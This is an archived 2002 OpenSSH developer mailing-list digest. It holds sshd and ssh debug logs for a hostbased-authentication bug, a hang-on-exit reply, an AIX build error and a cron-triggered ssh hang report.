debug3: mm_request_receive entering
debug3: monitor_read: checking request 10
debug3: mm_answer_authpassword: sending result 0
debug3: mm_request_send entering: type 11
Failed none for rjl01 from 10.49.191.9 port 34890 ssh2
debug3: mm_request_receive entering
debug3: mm_auth_password: user not authenticated
Failed none for rjl01 from 10.49.191.9 port 34890 ssh2
debug1: userauth-request for user rjl01 service ssh-connection method hostbased
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method hostbased
debug1: userauth_hostbased: cuser rjl01 chost evereska. pkalg ssh-dss slen 55
debug3: mm_key_allowed entering
debug3: mm_request_send entering: type 20
debug3: mm_key_allowed: waiting for MONITOR_ANS_KEYALLOWED
debug3: mm_request_receive_expect entering: type 21
debug3: mm_request_receive entering
debug3: monitor_read: checking request 20
debug3: mm_answer_keyallowed entering
debug3: mm_answer_keyallowed: key_from_blob: 1245e0
debug2: userauth_hostbased: chost evereska. resolvedname evereska.wan.erac.com 
ipaddr 10.49.191.9
debug2: auth_rhosts2: clientuser rjl01 hostname evereska. ipaddr evereska.
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug2: userauth_hostbased: access allowed by auth_rhosts2
debug3: check_host_in_hostfile: filename /opt/erac/etc/ssh_known_hosts
debug1: temporarily_use_uid: 503/5005 (e=0)
debug3: check_host_in_hostfile: filename /export/home/rjl01/.ssh/known_hosts
debug1: restore_uid
debug2: check_key_in_hostfiles: key not found for evereska.
debug3: check_host_in_hostfile: filename /opt/erac/etc/ssh_known_hosts2
debug3: key_read: type mismatch
debug1: temporarily_use_uid: 503/5005 (e=0)
debug3: check_host_in_hostfile: filename /export/home/rjl01/.ssh/known_hosts2
debug1: restore_uid
debug2: check_key_in_hostfiles: key not found for evereska.
debug3: mm_answer_keyallowed: key 1245e0 is disallowed
debug3: mm_append_debug: Appending debug messages for child
debug3: mm_request_send entering: type 21
debug3: mm_request_receive entering
debug3: mm_send_debug: Sending debug: Accepted for evereska. [evereska.] 
by /opt/erac/etc/shosts.equiv.
debug2: userauth_hostbased: authenticated 0
Failed hostbased for rjl01 from 10.49.191.9 port 34890 ssh2
debug1: userauth-request for user rjl01 service ssh-connection method hostbased
debug1: attempt 2 failures 2
debug2: input_userauth_request: try method hostbased
debug1: userauth_hostbased: cuser rjl01 chost evereska. pkalg ssh-rsa slen 143
debug3: mm_key_allowed entering
debug3: mm_request_send entering: type 20
debug3: mm_key_allowed: waiting for MONITOR_ANS_KEYALLOWED
debug3: mm_request_receive_expect entering: type 21
debug3: mm_request_receive entering
debug3: monitor_read: checking request 20
debug3: mm_answer_keyallowed entering
debug3: mm_answer_keyallowed: key_from_blob: 1245e0
debug2: userauth_hostbased: chost evereska. resolvedname evereska.wan.erac.com 
ipaddr 10.49.191.9
debug2: auth_rhosts2: clientuser rjl01 hostname evereska. ipaddr evereska.
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug2: userauth_hostbased: access allowed by auth_rhosts2
debug3: check_host_in_hostfile: filename /opt/erac/etc/ssh_known_hosts
debug1: temporarily_use_uid: 503/5005 (e=0)
debug3: check_host_in_hostfile: filename /export/home/rjl01/.ssh/known_hosts
debug1: restore_uid
debug2: check_key_in_hostfiles: key not found for evereska.
debug3: check_host_in_hostfile: filename /opt/erac/etc/ssh_known_hosts2
debug3: check_host_in_hostfile: match line 2
debug2: check_key_in_hostfiles: key ok for evereska.
debug3: mm_answer_keyallowed: key 1245e0 is allowed
debug3: mm_append_debug: Appending debug messages for child
debug3: mm_request_send entering: type 21
debug3: mm_request_receive entering
debug3: mm_send_debug: Sending debug: Accepted for evereska. [evereska.] 
by /opt/erac/etc/shosts.equiv.
debug3: mm_key_verify entering
debug3: mm_request_send entering: type 22
debug3: mm_key_verify: waiting for MONITOR_ANS_KEYVERIFY
debug3: mm_request_receive_expect entering: type 23
debug3: mm_request_receive entering
debug3: monitor_read: checking request 22
mm_answer_keyverify: bad signature data blob
debug1: Calling cleanup 0x38d24(0x0)
debug1: Calling cleanup 0x53eb0(0x0)
debug1: Calling cleanup 0x53eb0(0x0)



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jmknoble at pobox.com  Thu Aug  8 04:52:50 2002
From: jmknoble at pobox.com (Jim Knoble)
Date: Wed, 7 Aug 2002 14:52:50 -0400
Subject: so-called-hang-on-exit
In-Reply-To: <20020807015446.E11563@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 01:54:46AM -0700
References: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org> <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI> <20020807015446.E11563@google.com>
Message-ID: <20020807145250.A25367@zax.half.pint-stowp.cx>

Circa 2002-08-07 01:54:46 -0700 dixit Frank Cusack:

: Hence my earlier question, what does 'ssh -t 0 "yes & exit"' do on OpenBSD?

Here's what happens here:

  $ uname -srvm
  OpenBSD 3.1 GENERIC#1 i386
  $ ssh -t localhost 'yes & exit'
  $ ssh -t localhost 'yes & sleep 1; exit'
  y
  y
  y
  [etc., for 1 second]
  $ 

Note, though, that the same thing happens on Linux with bash-2.x's
'huponexit' option set:

  $ uname -srvm
  Linux 2.2.20-1jmk.rh62.ow1 #1 Mon Nov 5 17:38:17 EST 2001 i586
  $ ssh localhost 'shopt |grep -i hup'
  huponexit       on
  $ ssh -t localhost 'yes & exit'
  $ ssh -t localhost 'yes & sleep 1; exit'
  y
  y
  y
  [etc., for 1 second]
  $ 

-- 
jim knoble  |  jmknoble at pobox.com  |  http://www.pobox.com/~jmknoble/
(GnuPG fingerprint: 31C4:8AAC:F24E:A70C:4000::BBF4:289F:EAA8:1381:1491)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 262 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020807/b9a83801/attachment.bin 

From david.r.steiner at Dartmouth.EDU  Thu Aug  8 04:44:53 2002
From: david.r.steiner at Dartmouth.EDU (David R. Steiner)
Date: Wed, 7 Aug 2002 14:44:53 -0400
Subject: AIX 4.3.3/OpenSSH 3.4p1 compile problem
Message-ID: <a05111b04b9771704d1e4@[129.170.18.181]>

I am having a problem building OpenSSH on my AIX 4.3.3 box. It fails 
during the make with the following error:

         xlc -o ssh ssh.o sshconnect.o sshconnect1.o sshconnect2.o 
sshtty.o readconf.o clientloop.o -L. -Lopenbsd-compat/ 
-L/usr/local/ssl/lib -L/usr/local/lib  -L/usr/local/lib 
-L/usr/athena/lib -L/usr/afsws/lib 
-blibpath:/usr/lib:/lib:/usr/local/lib:/usr/athena/lib -lssh 
-lopenbsd-compat -lkafs -ldes -lkrb -lz  -lcrypto -lld -ldes
ld: 0711-317 ERROR: Undefined symbol: .issuid
ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more information.
make: 1254-004 The error code from the last command is 8

Building against the following:

zlib 1.1.4
openssl 0.9.6d (compiled with xlc)
krb4-1.1.1 (compiled with xlc)
tcpwrappers 7.6

This is the output from configure:

OpenSSH has been configured with the following options:
                      User binaries: /usr/ssh/bin
                    System binaries: /usr/ssh/sbin
                Configuration files: /etc/ssh
                    Askpass program: /usr/ssh/libexec/ssh-askpass
                       Manual pages: /usr/ssh/man/manX
                           PID file: /var/run
   Privilege separation chroot path: /var/empty
             sshd default user PATH: 
/usr/bin:/bin:/usr/sbin:/sbin:/usr/afsws/bin:/usr/ssh/bin:/usr/local/bin
                     Manpage format: man
                        PAM support: no
                 KerberosIV support: yes
                  KerberosV support: no
                  Smartcard support: no
                        AFS support: yes
                      S/KEY support: no
               TCP Wrappers support: yes
               MD5 password support: no
        IP address in $DISPLAY hack: no
           Use IPv4 by default hack: yes
            Translate v4 in v6 hack: no
                   BSD Auth support: no
               Random number source: ssh-rand-helper
      ssh-rand-helper collects from: Command hashing (timeout 200)

               Host: powerpc-ibm-aix4.3.3.0
           Compiler: xlc
     Compiler flags: -g
Preprocessor flags: -I/usr/local/ssl/include -I/usr/local/include 
-I/usr/local/include -I/usr/athena/include -I/usr/afsws/include
       Linker flags: -L/usr/local/ssl/lib -L/usr/local/lib 
-L/usr/local/lib -L/usr/athena/lib -L/usr/afsws/lib 
-blibpath:/usr/lib:/lib:/usr/local/lib:/usr/athena/lib
          Libraries: -lwrap  -lkafs -ldes -lkrb -lz  -lcrypto -lld -ldes

I did get one warning from configure but not sure if it is related:

checking if your system defines WTMPX_FILE... no
configure: WARNING: Please check and edit -blibpath in LDFLAGS in Makefile
configure: creating ./config.status

I have also tried compiling under gcc-3.1 (same configuration as 
above without CC=xlc) and get the essentially the same error:

gcc -o ssh ssh.o sshconnect.o sshconnect1.o sshconnect2.o sshtty.o 
readconf.o clientloop.o -L. -Lopenbsd-compat/ -L/usr/local/ssl/lib 
-L/usr/local/lib  -L/usr/local/lib -L/usr/athena/lib -L/usr/afsws/lib 
-lssh -lopenbsd-compat -lkafs -ldes -lkrb -lz  -lcrypto -lld -ldes
ld: 0711-317 ERROR: Undefined symbol: .issuid
ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more information.
collect2: ld returned 8 exit status
make: *** [ssh] Error 1

When I add -bloadmap to the LDFLAGS, I get:
gcc -o ssh ssh.o sshconnect.o sshconnect1.o sshconnect2.o sshtty.o 
readconf.o clientloop.o -L. -Lopenbsd-compat/ -L/usr/local/ssl/lib 
-L/usr/local/lib -L/usr/athena/lib -L/usr/afsws/lib -bloadmap -lssh 
-lopenbsd-compat -lkafs -ldes -lkrb -lz  -lcrypto -ll
ld: 0706-005 Cannot find or open file: libgcc.a
         ld:open(): A file or directory in the path name does not exist.
ld: 0706-005 Cannot find or open file: libgcc_eh.a
         ld:open(): A file or directory in the path name does not exist.
ld: 0706-005 Cannot find or open file: libgcc.a
         ld:open(): A file or directory in the path name does not exist.
ld: 0706-005 Cannot find or open file: libgcc_eh.a
         ld:open(): A file or directory in the path name does not exist.
make: *** [ssh] Error 1

libgcc.a and libgcc_eh.a exist in 
/usr/local/lib/gcc-lib/powerpc-ibm-aix4.3.2.0/3.1.  I have tried 
linking them back to /usr/local/lib but that changes nothing.

Any help would be greatly appreciated.

TIA
-David-

-- 
David R. Steiner                               david.r.steiner at dartmouth.edu
UNIX System Manager                            Phone:  603.646.3127
Dartmouth College                              Fax:     603.646.1041


From egarff at omniture.com  Thu Aug  8 05:03:21 2002
From: egarff at omniture.com (Eric Garff)
Date: 07 Aug 2002 13:03:21 -0600
Subject: Unrelated (was RE: so-called-hang-on-exit)
In-Reply-To: 
	<BF5F3FE870FB5C4B89BC1A1FBC76778C08EC11@NSTMC004PEX1.ubsgs.ubsgroup.net>
References: 
	<BF5F3FE870FB5C4B89BC1A1FBC76778C08EC11@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <1028747001.28558.54.camel@egarff.superstats.com>

Ok, this is going to be a long email (therefore I apologize in advance,
but I figured this may help), but here is my debug data first will be
the "ssh -v -v -v" both command line execution, then cron run, followed
by the sshd with the LogLevel DEBUG3 set (command line execution and
cron execution respectively), it hangs every time with the cron ssh
execution:

--------------------ssh run from command line-----------------------

dev13:	OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090603f
debug1: Reading configuration data /etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be
trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to dev13 [10.10.0.113] port 22.
debug1: Connection established.
debug1: identity file /home/glb/.ssh/identity type 0
debug1: identity file /home/glb/.ssh/id_rsa type -1
debug3: Not a RSA1 key file /home/glb/.ssh/id_dsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /home/glb/.ssh/id_dsa type 2
debug1: Remote protocol version 2.0, remote software version
OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 139/256
debug1: bits set: 1582/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /home/glb/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 1
debug3: check_host_in_hostfile: filename /home/glb/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 1
debug1: Host 'dev13' is known and matches the DSA host key.
debug1: Found key in /home/glb/.ssh/known_hosts:1
debug1: bits set: 1601/3191
debug1: ssh_dss_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue:
publickey,password,keyboard-interactive
debug3: start over, passed a different list
publickey,password,keyboard-interactive
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: next auth method to try is publickey
debug1: try privkey: /home/glb/.ssh/id_rsa
debug3: no such identity: /home/glb/.ssh/id_rsa
debug1: try pubkey: /home/glb/.ssh/id_dsa
debug3: send_pubkey_test
debug2: we sent a publickey packet, wait for reply
debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x81011d0
hint 2
debug2: input_userauth_pk_ok: fp
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8bdebug3:
sign_and_send_pubkey
debug1: read PEM private key done: type DSA
debug1: ssh-userauth2 successful: method publickey
debug1: fd 6 setting O_NONBLOCK
debug1: channel 0: new [client-session]
debug3: ssh_session2_open: channel_new: 0
debug1: send channel open 0
debug1: Entering interactive session.
debug2: callback start
debug1: ssh_session2_setup: id 0
debug1: Sending command: /bin/ls
/usr/local/apache/logs/superstats/inserts | /usr/bin/wc -l;/bin/ls
/home/glb/ready | /usr/bin/wc -l;/bin/ls /home/glb/stats | /usr/bin/wc
-l
debug1: channel request 0: exec
debug2: callback done
debug1: channel 0: open confirm rwindow 0 rmax 32768
debug2: channel 0: rcvd adjust 131072
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: channel 0: rcvd eof
debug1: channel 0: output open -> drain
debug1: channel 0: obuf empty
debug1: channel 0: close_write
debug1: channel 0: output drain -> closed
debug1: channel 0: rcvd close
debug1: channel 0: close_read
debug1: channel 0: input open -> closed
debug3: channel 0: will not send data after close
debug1: channel 0: almost dead
debug1: channel 0: gc: notify user
debug1: channel 0: gc: user detached
debug1: channel 0: send close
debug1: channel 0: is dead
debug1: channel 0: garbage collecting
debug1: channel_free: channel 0: client-session, nchannels 1
debug3: channel_free: status: The following connections are open:
  #0 client-session (t4 r0 i3/0 o3/0 fd -1/-1)

debug3: channel_close_fds: channel 0: r -1 w -1 e 7
debug1: fd 1 clearing O_NONBLOCK
debug1: Transferred: stdin 0, stdout 0, stderr 0 bytes in 0.7 seconds
debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 0.0
debug1: Exit status 0

----------------------------ssh run from cron-------------------

dev13:	OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090603f
debug1: Reading configuration data /etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be
trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to dev13 [10.10.0.113] port 22.
debug1: Connection established.
debug1: identity file /home/glb/.ssh/identity type 0
debug1: identity file /home/glb/.ssh/id_rsa type -1
debug3: Not a RSA1 key file /home/glb/.ssh/id_dsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /home/glb/.ssh/id_dsa type 2
debug1: Remote protocol version 2.0, remote software version
OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 112/256
debug1: bits set: 1545/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /home/glb/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 1
debug3: check_host_in_hostfile: filename /home/glb/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 1
debug1: Host 'dev13' is known and matches the DSA host key.
debug1: Found key in /home/glb/.ssh/known_hosts:1
debug1: bits set: 1540/3191
debug1: ssh_dss_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue:
publickey,password,keyboard-interactive
debug3: start over, passed a different list
publickey,password,keyboard-interactive
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: next auth method to try is publickey
debug1: try privkey: /home/glb/.ssh/id_rsa
debug3: no such identity: /home/glb/.ssh/id_rsa
debug1: try pubkey: /home/glb/.ssh/id_dsa
debug3: send_pubkey_test
debug2: we sent a publickey packet, wait for reply
debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x81009f8
hint 2
debug2: input_userauth_pk_ok: fp
25:48:a7:14:e6:a0:b6:67:b2:b4:d6:a0:be:b3:98:8bdebug3:
sign_and_send_pubkey
debug1: read PEM private key done: type DSA
debug1: ssh-userauth2 successful: method publickey
debug1: fd 5 setting O_NONBLOCK
debug1: fd 6 setting O_NONBLOCK
debug1: fd 9 setting O_NONBLOCK
debug1: channel 0: new [client-session]
debug3: ssh_session2_open: channel_new: 0
debug1: send channel open 0
debug1: Entering interactive session.
debug2: callback start
debug1: ssh_session2_setup: id 0
debug1: Sending command: /bin/ls
/usr/local/apache/logs/superstats/inserts | /usr/bin/wc -l;/bin/ls
/home/glb/ready | /usr/bin/wc -l;/bin/ls /home/glb/stats | /usr/bin/wc
-l
debug1: channel request 0: exec
debug2: callback done
debug1: channel 0: open confirm rwindow 0 rmax 32768
debug2: channel 0: rcvd adjust 131072
debug1: channel 0: read<=0 rfd 5 len 0
debug1: channel 0: read failed
debug1: channel 0: close_read
debug1: channel 0: input open -> drain
debug1: channel 0: ibuf empty
debug1: channel 0: send eof
debug1: channel 0: input drain -> closed
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: channel 0: rcvd eof
debug1: channel 0: output open -> drain
debug1: channel 0: rcvd close
debug3: channel 0: will not send data after close
killing pid 4473	debug1: channel_free: channel 0: client-session,
nchannels 1
debug3: channel_free: status: The following connections are open:
  #0 client-session (t4 r0 i3/0 o1/8 fd -1/6)

debug3: channel_close_fds: channel 0: r -1 w 6 e 9
debug1: fd 0 clearing O_NONBLOCK
debug1: fd 1 clearing O_NONBLOCK
debug1: fd 2 clearing O_NONBLOCK
Killed by signal 15.
debug1: Calling cleanup 0x8057a1c(0x0)
debug1: Calling cleanup 0x8061a38(0x0)

----------- sshd (ssh commandline execution) -----------------

Aug  7 11:49:26 dev13 sshd[12279]: debug1: Forked child 12319.
Aug  7 11:49:26 dev13 sshd[12319]: Connection from 10.10.0.114 port 2579
Aug  7 11:49:26 dev13 sshd[12319]: debug1: Client protocol version 2.0;
client software version OpenSSH_3.4p1
Aug  7 11:49:26 dev13 sshd[12319]: debug1: match: OpenSSH_3.4p1 pat
OpenSSH*
Aug  7 11:49:26 dev13 sshd[12319]: Enabling compatibility mode for
protocol 2.0
Aug  7 11:49:26 dev13 sshd[12319]: debug1: Local version string
SSH-2.0-OpenSSH_3.4p1
Aug  7 11:49:26 dev13 sshd[12319]: debug2: Network child is on pid 12320
Aug  7 11:49:26 dev13 sshd[12319]: debug3: preauth child monitor started
Aug  7 11:49:26 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:26 dev13 sshd[12319]: debug3: monitor_read: checking
request 0
Aug  7 11:49:26 dev13 sshd[12319]: debug3: mm_answer_moduli: got
parameters: 1024 2048 8192
Aug  7 11:49:26 dev13 sshd[12319]: debug3: mm_request_send entering:
type 1
Aug  7 11:49:26 dev13 sshd[12319]: debug2: monitor_read: 0 used once,
disabling now
Aug  7 11:49:26 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 4
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_sign
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_sign: signature
0x810e6b0(55)
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 5
Aug  7 11:49:27 dev13 sshd[12319]: debug2: monitor_read: 4 used once,
disabling now
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 6
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_pwnamallow
Aug  7 11:49:27 dev13 sshd[12319]: debug3: allowed_user: today 11906
sp_expire -1 sp_lstchg 11905 sp_max 99999
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_pwnamallow: sending
MONITOR_ANS_PWNAM: 1
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 7
Aug  7 11:49:27 dev13 sshd[12319]: debug2: monitor_read: 6 used once,
disabling now
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 3
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_authserv:
service=ssh-connection, style=
Aug  7 11:49:27 dev13 sshd[12319]: debug2: monitor_read: 3 used once,
disabling now
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 10
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_authpassword:
sending result 0
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_send entering:
type 11
Aug  7 11:49:27 dev13 sshd[12319]: Failed none for glb from 10.10.0.114
port 2579 ssh2
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_request_receive entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: monitor_read: checking
request 20
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed entering
Aug  7 11:49:27 dev13 sshd[12319]: debug3: mm_answer_keyallowed:
key_from_blob: 0x810e5b0
Aug  7 11:49:27 dev13 sshd[12319]: debug1: temporarily_use_uid: 522/522
(e=0)
Aug  7 11:49:27 dev13 sshd[12319]: debug1: trying public key file
/home/glb/.ssh/authorized_keys
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key_type_from_name: unknown
key type '1024'
Aug  7 11:49:27 dev13 sshd[12319]: debug3: key_read: no key found
Aug  7 11:49:27 dev13 sshd[12319]: debug2: user_key_allowed: check
options: '1024 35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key_type_from_name: unknown
key type '35'
Aug  7 11:49:27 dev13 sshd[12319]: debug3: key_read: no key found
Aug  7 11:49:27 dev13 sshd[12319]: debug2: user_key_allowed: advance:
'35
128595740207060479507856105991669454865404461025581765915492788445768449910817035809257428743309483520830863871414048345249744622395099483967315161082950353293586719060363668584976439640719045510457757912702231439926431435993404972209707408336848979099754395967895610465708167435103384138084697297637267052747 glb at dev14.superstats.com '
Aug  7 11:49:27 dev13 sshd[12319]: debug1: restore_uid
Aug  7 11:49:27 dev13 sshd[12319]: debug2: key not found
